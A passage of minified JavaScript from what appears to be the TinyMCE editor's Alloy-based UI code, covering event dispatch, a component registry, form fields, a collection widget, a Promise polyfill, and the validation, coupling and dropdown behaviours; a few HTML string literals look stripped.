(tapStopped) { if (tapStopped) { event.kill(); } }); var stopped = settings.triggerEvent(type, event); if (stopped) { event.kill(); } }); }); var pasteTimeout = value$1(); var onPaste = bind(container, 'paste', function (event) { tapEvent.fireIfReady(event, 'paste').each(function (tapStopped) { if (tapStopped) { event.kill(); } }); var stopped = settings.triggerEvent('paste', event); if (stopped) { event.kill(); } pasteTimeout.set(setTimeout(function () { settings.triggerEvent(postPaste(), event); }, 0)); }); var onKeydown = bind(container, 'keydown', function (event) { var stopped = settings.triggerEvent('keydown', event); if (stopped) { event.kill(); } else if (settings.stopBackspace && isDangerous(event)) { event.prevent(); } }); var onFocusIn = bindFocus(container, function (event) { var stopped = settings.triggerEvent('focusin', event); if (stopped) { event.kill(); } }); var focusoutTimeout = value$1(); var onFocusOut = bindBlur(container, function (event) { var stopped = settings.triggerEvent('focusout', event); if (stopped) { event.kill(); } focusoutTimeout.set(setTimeout(function () { settings.triggerEvent(postBlur(), event); }, 0)); }); var unbind = function () { each$1(simpleEvents, function (e) { e.unbind(); }); onKeydown.unbind(); onFocusIn.unbind(); onFocusOut.unbind(); onPaste.unbind(); pasteTimeout.on(clearTimeout); focusoutTimeout.on(clearTimeout); }; return { unbind: unbind }; }; var derive = function (rawEvent, rawTarget) { var source = get$e(rawEvent, 'target').getOr(rawTarget); return Cell(source); }; var fromSource = function (event, source) { var stopper = Cell(false); var cutter = Cell(false); var stop = function () { stopper.set(true); }; var cut = function () { cutter.set(true); }; return { stop: stop, cut: cut, isStopped: stopper.get, isCut: cutter.get, event: event, setSource: source.set, getSource: source.get }; }; var fromExternal = function (event) { var stopper = Cell(false); var stop = function () { stopper.set(true); }; return { stop: stop, cut: noop, isStopped: stopper.get, isCut: never, event: event, setSource: die('Cannot set source of a broadcasted event'), getSource: die('Cannot get source of a broadcasted event') }; }; var adt$1 = Adt.generate([ { stopped: [] }, { resume: ['element'] }, { complete: [] } ]); var doTriggerHandler = function (lookup, eventType, rawEvent, target, source, logger) { var handler = lookup(eventType, target); var simulatedEvent = fromSource(rawEvent, source); return handler.fold(function () { logger.logEventNoHandlers(eventType, target); return adt$1.complete(); }, function (handlerInfo) { var descHandler = handlerInfo.descHandler; var eventHandler = getCurried(descHandler); eventHandler(simulatedEvent); if (simulatedEvent.isStopped()) { logger.logEventStopped(eventType, handlerInfo.element, descHandler.purpose); return adt$1.stopped(); } else if (simulatedEvent.isCut()) { logger.logEventCut(eventType, handlerInfo.element, descHandler.purpose); return adt$1.complete(); } else { return parent(handlerInfo.element).fold(function () { logger.logNoParent(eventType, handlerInfo.element, descHandler.purpose); return adt$1.complete(); }, function (parent) { logger.logEventResponse(eventType, handlerInfo.element, descHandler.purpose); return adt$1.resume(parent); }); } }); }; var doTriggerOnUntilStopped = function (lookup, eventType, rawEvent, rawTarget, source, logger) { return doTriggerHandler(lookup, eventType, rawEvent, rawTarget, source, logger).fold(always, function (parent) { return doTriggerOnUntilStopped(lookup, eventType, rawEvent, parent, source, logger); }, never); }; var triggerHandler = function (lookup, eventType, rawEvent, target, logger) { var source = derive(rawEvent, target); return doTriggerHandler(lookup, eventType, rawEvent, target, source, logger); }; var broadcast = function (listeners, rawEvent, _logger) { var simulatedEvent = fromExternal(rawEvent); each$1(listeners, function (listener) { var descHandler = listener.descHandler; var handler = getCurried(descHandler); handler(simulatedEvent); }); return simulatedEvent.isStopped(); }; var triggerUntilStopped = function (lookup, eventType, rawEvent, logger) { return triggerOnUntilStopped(lookup, eventType, rawEvent, rawEvent.target, logger); }; var triggerOnUntilStopped = function (lookup, eventType, rawEvent, rawTarget, logger) { var source = derive(rawEvent, rawTarget); return doTriggerOnUntilStopped(lookup, eventType, rawEvent, rawTarget, source, logger); }; var eventHandler = function (element, descHandler) { return { element: element, descHandler: descHandler }; }; var broadcastHandler = function (id, handler) { return { id: id, descHandler: handler }; }; var EventRegistry = function () { var registry = {}; var registerId = function (extraArgs, id, events) { each(events, function (v, k) { var handlers = registry[k] !== undefined ? registry[k] : {}; handlers[id] = curryArgs(v, extraArgs); registry[k] = handlers; }); }; var findHandler = function (handlers, elem) { return read$1(elem).bind(function (id) { return get$e(handlers, id); }).map(function (descHandler) { return eventHandler(elem, descHandler); }); }; var filterByType = function (type) { return get$e(registry, type).map(function (handlers) { return mapToArray(handlers, function (f, id) { return broadcastHandler(id, f); }); }).getOr([]); }; var find = function (isAboveRoot, type, target) { return get$e(registry, type).bind(function (handlers) { return closest$4(target, function (elem) { return findHandler(handlers, elem); }, isAboveRoot); }); }; var unregisterId = function (id) { each(registry, function (handlersById, _eventName) { if (has$2(handlersById, id)) { delete handlersById[id]; } }); }; return { registerId: registerId, unregisterId: unregisterId, filterByType: filterByType, find: find }; }; var Registry = function () { var events = EventRegistry(); var components = {}; var readOrTag = function (component) { var elem = component.element; return read$1(elem).getOrThunk(function () { return write('uid-', component.element); }); }; var failOnDuplicate = function (component, tagId) { var conflict = components[tagId]; if (conflict === component) { unregister(component); } else { throw new Error('The tagId "' + tagId + '" is already used by: ' + element(conflict.element) + '\nCannot use it for: ' + element(component.element) + '\n' + 'The conflicting element is' + (inBody(conflict.element) ? ' ' : ' not ') + 'already in the DOM'); } }; var register = function (component) { var tagId = readOrTag(component); if (hasNonNullableKey(components, tagId)) { failOnDuplicate(component, tagId); } var extraArgs = [component]; events.registerId(extraArgs, tagId, component.events); components[tagId] = component; }; var unregister = function (component) { read$1(component.element).each(function (tagId) { delete components[tagId]; events.unregisterId(tagId); }); }; var filter = function (type) { return events.filterByType(type); }; var find = function (isAboveRoot, type, target) { return events.find(isAboveRoot, type, target); }; var getById = function (id) { return get$e(components, id); }; return { find: find, filter: filter, register: register, unregister: unregister, getById: getById }; }; var factory$j = function (detail) { var _a = detail.dom, attributes = _a.attributes, domWithoutAttributes = __rest(_a, ['attributes']); return { uid: detail.uid, dom: __assign({ tag: 'div', attributes: __assign({ role: 'presentation' }, attributes) }, domWithoutAttributes), components: detail.components, behaviours: get$2(detail.containerBehaviours), events: detail.events, domModification: detail.domModification, eventOrder: detail.eventOrder }; }; var Container = single({ name: 'Container', factory: factory$j, configFields: [ defaulted('components', []), field('containerBehaviours', []), defaulted('events', {}), defaulted('domModification', {}), defaulted('eventOrder', {}) ] }); var takeover = function (root) { var isAboveRoot = function (el) { return parent(root.element).fold(always, function (parent) { return eq(el, parent); }); }; var registry = Registry(); var lookup = function (eventName, target) { return registry.find(isAboveRoot, eventName, target); }; var domEvents = setup$d(root.element, { triggerEvent: function (eventName, event) { return monitorEvent(eventName, event.target, function (logger) { return triggerUntilStopped(lookup, eventName, event, logger); }); } }); var systemApi = { debugInfo: constant$1('real'), triggerEvent: function (eventName, target, data) { monitorEvent(eventName, target, function (logger) { return triggerOnUntilStopped(lookup, eventName, data, target, logger); }); }, triggerFocus: function (target, originator) { read$1(target).fold(function () { focus$3(target); }, function (_alloyId) { monitorEvent(focus$4(), target, function (logger) { triggerHandler(lookup, focus$4(), { originator: originator, kill: noop, prevent: noop, target: target }, target, logger); return false; }); }); }, triggerEscape: function (comp, simulatedEvent) { systemApi.triggerEvent('keydown', comp.element, simulatedEvent.event); }, getByUid: function (uid) { return getByUid(uid); }, getByDom: function (elem) { return getByDom(elem); }, build: build$1, addToGui: function (c) { add(c); }, removeFromGui: function (c) { remove(c); }, addToWorld: function (c) { addToWorld(c); }, removeFromWorld: function (c) { removeFromWorld(c); }, broadcast: function (message) { broadcast$1(message); }, broadcastOn: function (channels, message) { broadcastOn(channels, message); }, broadcastEvent: function (eventName, event) { broadcastEvent(eventName, event); }, isConnected: always }; var addToWorld = function (component) { component.connect(systemApi); if (!isText$1(component.element)) { registry.register(component); each$1(component.components(), addToWorld); systemApi.triggerEvent(systemInit(), component.element, { target: component.element }); } }; var removeFromWorld = function (component) { if (!isText$1(component.element)) { each$1(component.components(), removeFromWorld); registry.unregister(component); } component.disconnect(); }; var add = function (component) { attach(root, component); }; var remove = function (component) { detach(component); }; var destroy = function () { domEvents.unbind(); remove$5(root.element); }; var broadcastData = function (data) { var receivers = registry.filter(receive()); each$1(receivers, function (receiver) { var descHandler = receiver.descHandler; var handler = getCurried(descHandler); handler(data); }); }; var broadcast$1 = function (message) { broadcastData({ universal: true, data: message }); }; var broadcastOn = function (channels, message) { broadcastData({ universal: false, channels: channels, data: message }); }; var broadcastEvent = function (eventName, event) { var listeners = registry.filter(eventName); return broadcast(listeners, event); }; var getByUid = function (uid) { return registry.getById(uid).fold(function () { return Result.error(new Error('Could not find component with uid: "' + uid + '" in system.')); }, Result.value); }; var getByDom = function (elem) { var uid = read$1(elem).getOr('not found'); return getByUid(uid); }; addToWorld(root); return { root: root, element: root.element, destroy: destroy, add: add, remove: remove, getByUid: getByUid, getByDom: getByDom, addToWorld: addToWorld, removeFromWorld: removeFromWorld, broadcast: broadcast$1, broadcastOn: broadcastOn, broadcastEvent: broadcastEvent }; }; var renderBar = function (spec, backstage) { return { dom: { tag: 'div', classes: [ 'tox-bar', 'tox-form__controls-h-stack' ] }, components: map$2(spec.items, backstage.interpreter) }; }; var schema$l = constant$1([ defaulted('prefix', 'form-field'), field('fieldBehaviours', [ Composing, Representing ]) ]); var parts$e = constant$1([ optional({ schema: [required$1('dom')], name: 'label' }), optional({ factory: { sketch: function (spec) { return { uid: spec.uid, dom: { tag: 'span', styles: { display: 'none' }, attributes: { 'aria-hidden': 'true' }, innerHtml: spec.text } }; } }, schema: [required$1('text')], name: 'aria-descriptor' }), required({ factory: { sketch: function (spec) { var excludeFactory = exclude(spec, ['factory']); return spec.factory.sketch(excludeFactory); } }, schema: [required$1('factory')], name: 'field' }) ]); var factory$i = function (detail, components, _spec, _externals) { var behaviours = augment(detail.fieldBehaviours, [ Composing.config({ find: function (container) { return getPart(container, detail, 'field'); } }), Representing.config({ store: { mode: 'manual', getValue: function (field) { return Composing.getCurrent(field).bind(Representing.getValue); }, setValue: function (field, value) { Composing.getCurrent(field).each(function (current) { Representing.setValue(current, value); }); } } }) ]); var events = derive$2([runOnAttached(function (component, _simulatedEvent) { var ps = getParts(component, detail, [ 'label', 'field', 'aria-descriptor' ]); ps.field().each(function (field) { var id = generate$6(detail.prefix); ps.label().each(function (label) { set$8(label.element, 'for', id); set$8(field.element, 'id', id); }); ps['aria-descriptor']().each(function (descriptor) { var descriptorId = generate$6(detail.prefix); set$8(descriptor.element, 'id', descriptorId); set$8(field.element, 'aria-describedby', descriptorId); }); }); })]); var apis = { getField: function (container) { return getPart(container, detail, 'field'); }, getLabel: function (container) { return getPart(container, detail, 'label'); } }; return { uid: detail.uid, dom: detail.dom, components: components, behaviours: behaviours, events: events, apis: apis }; }; var FormField = composite({ name: 'FormField', configFields: schema$l(), partFields: parts$e(), factory: factory$i, apis: { getField: function (apis, comp) { return apis.getField(comp); }, getLabel: function (apis, comp) { return apis.getLabel(comp); } } }); var exhibit$2 = function (base, tabConfig) { return nu$7({ attributes: wrapAll([{ key: tabConfig.tabAttr, value: 'true' }]) }); }; var ActiveTabstopping = /*#__PURE__*/Object.freeze({ __proto__: null, exhibit: exhibit$2 }); var TabstopSchema = [defaulted('tabAttr', 'data-alloy-tabstop')]; var Tabstopping = create$7({ fields: TabstopSchema, name: 'tabstopping', active: ActiveTabstopping }); var global$7 = tinymce.util.Tools.resolve('tinymce.html.Entities'); var renderFormFieldWith = function (pLabel, pField, extraClasses, extraBehaviours) { var spec = renderFormFieldSpecWith(pLabel, pField, extraClasses, extraBehaviours); return FormField.sketch(spec); }; var renderFormField = function (pLabel, pField) { return renderFormFieldWith(pLabel, pField, [], []); }; var renderFormFieldSpecWith = function (pLabel, pField, extraClasses, extraBehaviours) { return { dom: renderFormFieldDomWith(extraClasses), components: pLabel.toArray().concat([pField]), fieldBehaviours: derive$1(extraBehaviours) }; }; var renderFormFieldDom = function () { return renderFormFieldDomWith([]); }; var renderFormFieldDomWith = function (extraClasses) { return { tag: 'div', classes: ['tox-form__group'].concat(extraClasses) }; }; var renderLabel$2 = function (label, providersBackstage) { return FormField.parts.label({ dom: { tag: 'label', classes: ['tox-label'], innerHtml: providersBackstage.translate(label) } }); }; var formChangeEvent = generate$6('form-component-change'); var formCloseEvent = generate$6('form-close'); var formCancelEvent = generate$6('form-cancel'); var formActionEvent = generate$6('form-action'); var formSubmitEvent = generate$6('form-submit'); var formBlockEvent = generate$6('form-block'); var formUnblockEvent = generate$6('form-unblock'); var formTabChangeEvent = generate$6('form-tabchange'); var formResizeEvent = generate$6('form-resize'); var renderCollection = function (spec, providersBackstage) { var _a; var pLabel = spec.label.map(function (label) { return renderLabel$2(label, providersBackstage); }); var runOnItem = function (f) { return function (comp, se) { closest$1(se.event.target, '[data-collection-item-value]').each(function (target) { f(comp, se, target, get$d(target, 'data-collection-item-value')); }); }; }; var setContents = function (comp, items) { var htmlLines = map$2(items, function (item) { var itemText = global$e.translate(item.text); var textContent = spec.columns === 1 ? '
    ' + itemText + '
    ' : ''; var iconContent = '
    ' + item.icon + '
    '; var mapItemName = { '_': ' ', ' - ': ' ', '-': ' ' }; var ariaLabel = itemText.replace(/\_| \- |\-/g, function (match) { return mapItemName[match]; }); var disabledClass = providersBackstage.isDisabled() ? ' tox-collection__item--state-disabled' : ''; return '
    ' + iconContent + textContent + '
    '; }); var chunks = spec.columns !== 'auto' && spec.columns > 1 ? chunk$1(htmlLines, spec.columns) : [htmlLines]; var html = map$2(chunks, function (ch) { return '
    ' + ch.join('') + '
    '; }); set$5(comp.element, html.join('')); }; var onClick = runOnItem(function (comp, se, tgt, itemValue) { se.stop(); if (!providersBackstage.isDisabled()) { emitWith(comp, formActionEvent, { name: spec.name, value: itemValue }); } }); var collectionEvents = [ run$1(mouseover(), runOnItem(function (comp, se, tgt) { focus$3(tgt); })), run$1(click(), onClick), run$1(tap(), onClick), run$1(focusin(), runOnItem(function (comp, se, tgt) { descendant(comp.element, '.' + activeClass).each(function (currentActive) { remove$2(currentActive, activeClass); }); add$2(tgt, activeClass); })), run$1(focusout(), runOnItem(function (comp) { descendant(comp.element, '.' + activeClass).each(function (currentActive) { remove$2(currentActive, activeClass); }); })), runOnExecute$1(runOnItem(function (comp, se, tgt, itemValue) { emitWith(comp, formActionEvent, { name: spec.name, value: itemValue }); })) ]; var iterCollectionItems = function (comp, applyAttributes) { return map$2(descendants(comp.element, '.tox-collection__item'), applyAttributes); }; var pField = FormField.parts.field({ dom: { tag: 'div', classes: ['tox-collection'].concat(spec.columns !== 1 ? ['tox-collection--grid'] : ['tox-collection--list']) }, components: [], factory: { sketch: identity$1 }, behaviours: derive$1([ Disabling.config({ disabled: providersBackstage.isDisabled, onDisabled: function (comp) { iterCollectionItems(comp, function (childElm) { add$2(childElm, 'tox-collection__item--state-disabled'); set$8(childElm, 'aria-disabled', true); }); }, onEnabled: function (comp) { iterCollectionItems(comp, function (childElm) { remove$2(childElm, 'tox-collection__item--state-disabled'); remove$7(childElm, 'aria-disabled'); }); } }), receivingConfig(), Replacing.config({}), Representing.config({ store: { mode: 'memory', initialValue: [] }, onSetValue: function (comp, items) { setContents(comp, items); if (spec.columns === 'auto') { detectSize(comp, 5, 'tox-collection__item').each(function (_a) { var numRows = _a.numRows, numColumns = _a.numColumns; Keying.setGridSize(comp, numRows, numColumns); }); } emit(comp, formResizeEvent); } }), Tabstopping.config({}), Keying.config(deriveCollectionMovement(spec.columns, 'normal')), config('collection-events', collectionEvents) ]), eventOrder: (_a = {}, _a[execute$5()] = [ 'disabling', 'alloy.base.behaviour', 'collection-events' ], _a) }); var extraClasses = ['tox-form__group--collection']; return renderFormFieldWith(pLabel, pField, extraClasses, []); }; var schema$k = constant$1([ option('data'), defaulted('inputAttributes', {}), defaulted('inputStyles', {}), defaulted('tag', 'input'), defaulted('inputClasses', []), onHandler('onSetValue'), defaulted('styles', {}), defaulted('eventOrder', {}), field('inputBehaviours', [ Representing, Focusing ]), defaulted('selectOnFocus', true) ]); var focusBehaviours = function (detail) { return derive$1([Focusing.config({ onFocus: !detail.selectOnFocus ? noop : function (component) { var input = component.element; var value = get$5(input); input.dom.setSelectionRange(0, value.length); } })]); }; var behaviours = function (detail) { return __assign(__assign({}, focusBehaviours(detail)), augment(detail.inputBehaviours, [Representing.config({ store: __assign(__assign({ mode: 'manual' }, detail.data.map(function (data) { return { initialValue: data }; }).getOr({})), { getValue: function (input) { return get$5(input.element); }, setValue: function (input, data) { var current = get$5(input.element); if (current !== data) { set$4(input.element, data); } } }), onSetValue: detail.onSetValue })])); }; var dom = function (detail) { return { tag: detail.tag, attributes: __assign({ type: 'text' }, detail.inputAttributes), styles: detail.inputStyles, classes: detail.inputClasses }; }; var factory$h = function (detail, _spec) { return { uid: detail.uid, dom: dom(detail), components: [], behaviours: behaviours(detail), eventOrder: detail.eventOrder }; }; var Input = single({ name: 'Input', configFields: schema$k(), factory: factory$h }); var exports$1 = {}, module = { exports: exports$1 }; (function (define, exports, module, require) { (function (global, factory) { typeof exports === 'object' && typeof module !== 'undefined' ? module.exports = factory() : typeof define === 'function' && define.amd ? define(factory) : (global = typeof globalThis !== 'undefined' ? globalThis : global || self, global.EphoxContactWrapper = factory()); }(this, function () { var commonjsGlobal = typeof globalThis !== 'undefined' ? globalThis : typeof window !== 'undefined' ? window : typeof global !== 'undefined' ? global : typeof self !== 'undefined' ? self : {}; var promise = { exports: {} }; (function (module) { (function (root) { var setTimeoutFunc = setTimeout; function noop() { } function bind(fn, thisArg) { return function () { fn.apply(thisArg, arguments); }; } function Promise(fn) { if (typeof this !== 'object') throw new TypeError('Promises must be constructed via new'); if (typeof fn !== 'function') throw new TypeError('not a function'); this._state = 0; this._handled = false; this._value = undefined; this._deferreds = []; doResolve(fn, this); } function handle(self, deferred) { while (self._state === 3) { self = self._value; } if (self._state === 0) { self._deferreds.push(deferred); return; } self._handled = true; Promise._immediateFn(function () { var cb = self._state === 1 ? deferred.onFulfilled : deferred.onRejected; if (cb === null) { (self._state === 1 ? resolve : reject)(deferred.promise, self._value); return; } var ret; try { ret = cb(self._value); } catch (e) { reject(deferred.promise, e); return; } resolve(deferred.promise, ret); }); } function resolve(self, newValue) { try { if (newValue === self) throw new TypeError('A promise cannot be resolved with itself.'); if (newValue && (typeof newValue === 'object' || typeof newValue === 'function')) { var then = newValue.then; if (newValue instanceof Promise) { self._state = 3; self._value = newValue; finale(self); return; } else if (typeof then === 'function') { doResolve(bind(then, newValue), self); return; } } self._state = 1; self._value = newValue; finale(self); } catch (e) { reject(self, e); } } function reject(self, newValue) { self._state = 2; self._value = newValue; finale(self); } function finale(self) { if (self._state === 2 && self._deferreds.length === 0) { Promise._immediateFn(function () { if (!self._handled) { Promise._unhandledRejectionFn(self._value); } }); } for (var i = 0, len = self._deferreds.length; i < len; i++) { handle(self, self._deferreds[i]); } self._deferreds = null; } function Handler(onFulfilled, onRejected, promise) { this.onFulfilled = typeof onFulfilled === 'function' ? onFulfilled : null; this.onRejected = typeof onRejected === 'function' ? onRejected : null; this.promise = promise; } function doResolve(fn, self) { var done = false; try { fn(function (value) { if (done) return; done = true; resolve(self, value); }, function (reason) { if (done) return; done = true; reject(self, reason); }); } catch (ex) { if (done) return; done = true; reject(self, ex); } } Promise.prototype['catch'] = function (onRejected) { return this.then(null, onRejected); }; Promise.prototype.then = function (onFulfilled, onRejected) { var prom = new this.constructor(noop); handle(this, new Handler(onFulfilled, onRejected, prom)); return prom; }; Promise.all = function (arr) { var args = Array.prototype.slice.call(arr); return new Promise(function (resolve, reject) { if (args.length === 0) return resolve([]); var remaining = args.length; function res(i, val) { try { if (val && (typeof val === 'object' || typeof val === 'function')) { var then = val.then; if (typeof then === 'function') { then.call(val, function (val) { res(i, val); }, reject); return; } } args[i] = val; if (--remaining === 0) { resolve(args); } } catch (ex) { reject(ex); } } for (var i = 0; i < args.length; i++) { res(i, args[i]); } }); }; Promise.resolve = function (value) { if (value && typeof value === 'object' && value.constructor === Promise) { return value; } return new Promise(function (resolve) { resolve(value); }); }; Promise.reject = function (value) { return new Promise(function (resolve, reject) { reject(value); }); }; Promise.race = function (values) { return new Promise(function (resolve, reject) { for (var i = 0, len = values.length; i < len; i++) { values[i].then(resolve, reject); } }); }; Promise._immediateFn = typeof setImmediate === 'function' ? function (fn) { setImmediate(fn); } : function (fn) { setTimeoutFunc(fn, 0); }; Promise._unhandledRejectionFn = function _unhandledRejectionFn(err) { if (typeof console !== 'undefined' && console) { console.warn('Possible Unhandled Promise Rejection:', err); } }; Promise._setImmediateFn = function _setImmediateFn(fn) { Promise._immediateFn = fn; }; Promise._setUnhandledRejectionFn = function _setUnhandledRejectionFn(fn) { Promise._unhandledRejectionFn = fn; }; if (module.exports) { module.exports = Promise; } else if (!root.Promise) { root.Promise = Promise; } }(commonjsGlobal)); }(promise)); var promisePolyfill = promise.exports; var Global = function () { if (typeof window !== 'undefined') { return window; } else { return Function('return this;')(); } }(); var promisePolyfill_1 = { boltExport: Global.Promise || promisePolyfill }; return promisePolyfill_1; })); }(undefined, exports$1, module)); var Promise$1 = module.exports.boltExport; var nu$3 = function (baseFn) { var data = Optional.none(); var callbacks = []; var map = function (f) { return nu$3(function (nCallback) { get(function (data) { nCallback(f(data)); }); }); }; var get = function (nCallback) { if (isReady()) { call(nCallback); } else { callbacks.push(nCallback); } }; var set = function (x) { if (!isReady()) { data = Optional.some(x); run(callbacks); callbacks = []; } }; var isReady = function () { return data.isSome(); }; var run = function (cbs) { each$1(cbs, call); }; var call = function (cb) { data.each(function (x) { setTimeout(function () { cb(x); }, 0); }); }; baseFn(set); return { get: get, map: map, isReady: isReady }; }; var pure$1 = function (a) { return nu$3(function (callback) { callback(a); }); }; var LazyValue = { nu: nu$3, pure: pure$1 }; var errorReporter = function (err) { setTimeout(function () { throw err; }, 0); }; var make$5 = function (run) { var get = function (callback) { run().then(callback, errorReporter); }; var map = function (fab) { return make$5(function () { return run().then(fab); }); }; var bind = function (aFutureB) { return make$5(function () { return run().then(function (v) { return aFutureB(v).toPromise(); }); }); }; var anonBind = function (futureB) { return make$5(function () { return run().then(function () { return futureB.toPromise(); }); }); }; var toLazy = function () { return LazyValue.nu(get); }; var toCached = function () { var cache = null; return make$5(function () { if (cache === null) { cache = run(); } return cache; }); }; var toPromise = run; return { map: map, bind: bind, anonBind: anonBind, toLazy: toLazy, toCached: toCached, toPromise: toPromise, get: get }; }; var nu$2 = function (baseFn) { return make$5(function () { return new Promise$1(baseFn); }); }; var pure = function (a) { return make$5(function () { return Promise$1.resolve(a); }); }; var Future = { nu: nu$2, pure: pure }; var ariaElements = [ 'input', 'textarea' ]; var isAriaElement = function (elem) { var name = name$2(elem); return contains$2(ariaElements, name); }; var markValid = function (component, invalidConfig) { var elem = invalidConfig.getRoot(component).getOr(component.element); remove$2(elem, invalidConfig.invalidClass); invalidConfig.notify.each(function (notifyInfo) { if (isAriaElement(component.element)) { set$8(component.element, 'aria-invalid', false); } notifyInfo.getContainer(component).each(function (container) { set$5(container, notifyInfo.validHtml); }); notifyInfo.onValid(component); }); }; var markInvalid = function (component, invalidConfig, invalidState, text) { var elem = invalidConfig.getRoot(component).getOr(component.element); add$2(elem, invalidConfig.invalidClass); invalidConfig.notify.each(function (notifyInfo) { if (isAriaElement(component.element)) { set$8(component.element, 'aria-invalid', true); } notifyInfo.getContainer(component).each(function (container) { set$5(container, text); }); notifyInfo.onInvalid(component, text); }); }; var query = function (component, invalidConfig, _invalidState) { return invalidConfig.validator.fold(function () { return Future.pure(Result.value(true)); }, function (validatorInfo) { return validatorInfo.validate(component); }); }; var run = function (component, invalidConfig, invalidState) { invalidConfig.notify.each(function (notifyInfo) { notifyInfo.onValidate(component); }); return query(component, invalidConfig).map(function (valid) { if (component.getSystem().isConnected()) { return valid.fold(function (err) { markInvalid(component, invalidConfig, invalidState, err); return Result.error(err); }, function (v) { markValid(component, invalidConfig); return Result.value(v); }); } else { return Result.error('No longer in system'); } }); }; var isInvalid = function (component, invalidConfig) { var elem = invalidConfig.getRoot(component).getOr(component.element); return has(elem, invalidConfig.invalidClass); }; var InvalidateApis = /*#__PURE__*/Object.freeze({ __proto__: null, markValid: markValid, markInvalid: markInvalid, query: query, run: run, isInvalid: isInvalid }); var events$8 = function (invalidConfig, invalidState) { return invalidConfig.validator.map(function (validatorInfo) { return derive$2([run$1(validatorInfo.onEvent, function (component) { run(component, invalidConfig, invalidState).get(identity$1); })].concat(validatorInfo.validateOnLoad ? [runOnAttached(function (component) { run(component, invalidConfig, invalidState).get(noop); })] : [])); }).getOr({}); }; var ActiveInvalidate = /*#__PURE__*/Object.freeze({ __proto__: null, events: events$8 }); var InvalidateSchema = [ required$1('invalidClass'), defaulted('getRoot', Optional.none), optionObjOf('notify', [ defaulted('aria', 'alert'), defaulted('getContainer', Optional.none), defaulted('validHtml', ''), onHandler('onValid'), onHandler('onInvalid'), onHandler('onValidate') ]), optionObjOf('validator', [ required$1('validate'), defaulted('onEvent', 'input'), defaulted('validateOnLoad', true) ]) ]; var Invalidating = create$7({ fields: InvalidateSchema, name: 'invalidating', active: ActiveInvalidate, apis: InvalidateApis, extra: { validation: function (validator) { return function (component) { var v = Representing.getValue(component); return Future.pure(validator(v)); }; } } }); var getCoupled = function (component, coupleConfig, coupleState, name) { return coupleState.getOrCreate(component, coupleConfig, name); }; var CouplingApis = /*#__PURE__*/Object.freeze({ __proto__: null, getCoupled: getCoupled }); var CouplingSchema = [requiredOf('others', setOf(Result.value, anyValue()))]; var init$a = function () { var coupled = {}; var getOrCreate = function (component, coupleConfig, name) { var available = keys(coupleConfig.others); if (!available) { throw new Error('Cannot find coupled component: ' + name + '. Known coupled components: ' + JSON.stringify(available, null, 2)); } else { return get$e(coupled, name).getOrThunk(function () { var builder = get$e(coupleConfig.others, name).getOrDie('No information found for coupled component: ' + name); var spec = builder(component); var built = component.getSystem().build(spec); coupled[name] = built; return built; }); } }; var readState = constant$1({}); return nu$8({ readState: readState, getOrCreate: getOrCreate }); }; var CouplingState = /*#__PURE__*/Object.freeze({ __proto__: null, init: init$a }); var Coupling = create$7({ fields: CouplingSchema, name: 'coupling', apis: CouplingApis, state: CouplingState }); var suffix = constant$1('sink'); var partType$1 = constant$1(optional({ name: suffix(), overrides: constant$1({ dom: { tag: 'div' }, behaviours: derive$1([Positioning.config({ useFixed: always })]), events: derive$2([ cutter(keydown()), cutter(mousedown()), cutter(click()) ]) }) })); var HighlightOnOpen; (function (HighlightOnOpen) { HighlightOnOpen[HighlightOnOpen['HighlightFirst'] = 0] = 'HighlightFirst'; HighlightOnOpen[HighlightOnOpen['HighlightNone'] = 1] = 'HighlightNone'; }(HighlightOnOpen || (HighlightOnOpen = {}))); var getAnchor = function (detail, component) { var hotspot = detail.getHotspot(component).getOr(component); var type = 'hotspot'; var overrides = detail.getAnchorOverrides(); return detail.layouts.fold(function () { return { type: type, hotspot: hotspot, overrides: overrides }; }, function (layouts) { return { type: type, hotspot: hotspot, overrides: overrides, layouts: layouts }; }); }; var fetch = function (detail, mapFetch, component) { var fetcher = detail.fetch; return fetcher(component).map(mapFetch); }; var openF = function (detail, mapFetch, anchor, component, sandbox, externals, highlightOnOpen) { var futureData = fetch(detail, mapFetch, component); var getLazySink = getSink(component, detail); return futureData.map(function (tdata) { return tdata.bind(function (data) { return Optional.from(tieredMenu.sketch(__assign(__assign({}, externals.menu()), { uid: generate$5(''), data: data, highlightImmediately: highlightOnOpen === HighlightOnOpen.HighlightFirst, onOpenMenu: function (tmenu, menu) { var sink = getLazySink().getOrDie(); Positioning.position(sink, menu, { anchor: anchor }); Sandboxing.decloak(sandbox); }, onOpenSubmenu: function (tmenu, item, submenu) { var sink = getLazySink().getOrDie(); Positioning.position(sink, submenu, { anchor: { type: 'submenu', item: item } }); Sandboxing.decloak(sandbox); }, onRepositionMenu: function (tmenu, primaryMenu, submenuTriggers) { var sink = getLazySink().getOrDie(); Positioning.position(sink, primaryMenu, { anchor: anchor }); each$1(submenuTriggers, function (st) { Positioning.position(sink, st.triggeredMenu, { anchor: { type: 'submenu', item: st.triggeringItem } }); }); }, onEscape: function () { Focusing.focus(component); Sandboxing.close(sandbox); return Optional.some(true); } }))); }); }); }; var open = function (detail, mapFetch, hotspot, sandbox, externals, onOpenSync, highlightOnOpen) { var anchor = getAnchor(detail, hotspot); var processed = openF(detail, mapFetch, anchor, hotspot, sandbox, externals, highlightOnOpen); return processed.map(function (tdata) { tdata.fold(function () { if (Sandboxing.isOpen(sandbox)) { Sandboxing.close(sandbox); } }, function (data) { Sandboxing.cloak(sandbox); Sandboxing.open(sandbox, data); onOpenSync(sandbox); }); return sandbox; }); }; var close = function (detail, mapFetch, component, sandbox, _externals, _onOpenSync, _highlightOnOpen) { Sandboxing.close(sandbox); return Future.pure(sandbox); }; var togglePopup = function (detail, mapFetch, hotspot, externals, onOpenSync, highlightOnOpen) { var sandbox = Coupling.getCoupled(hotspot, 'sandbox'); var showing = Sandboxing.isOpen(sandbox); var action = showing ? close : open; return action(detail, mapFetch, hotspot, sandbox, externals, onOpenSync, highlightOnOpen); }; var matchWidth = function (hotspot, container, useMinWidth) { var menu = Composing.getCurrent(container).getOr(container); var buttonWidth = get$a(hotspot.element); if (useMinWidth) { set$7(menu.element, 'min-width', buttonWidth + 'px'); } else { set$6(menu.element, buttonWidth); } }; var getSink = function (anyInSystem, sinkDetail) { return anyInSystem.getSystem().getByUid(sinkDetail.uid + '-' + suffix()).map(function (internalSink) { return function () { return Result.value(internalSink); }; }).getOrThunk(function () { return sinkDetail.lazySink.fold(function () { return function () { return Result.error(new Error('No internal sink is specified, nor could an external sink be found')); }; }, function (lazySinkFn) { return function () { return lazySinkFn(anyInSystem); }; }); }); }; var doRepositionMenus = function (sandbox) { Sandboxing.getState(sandbox).each(function (tmenu) { tieredMenu.repositionMenus(tmenu); 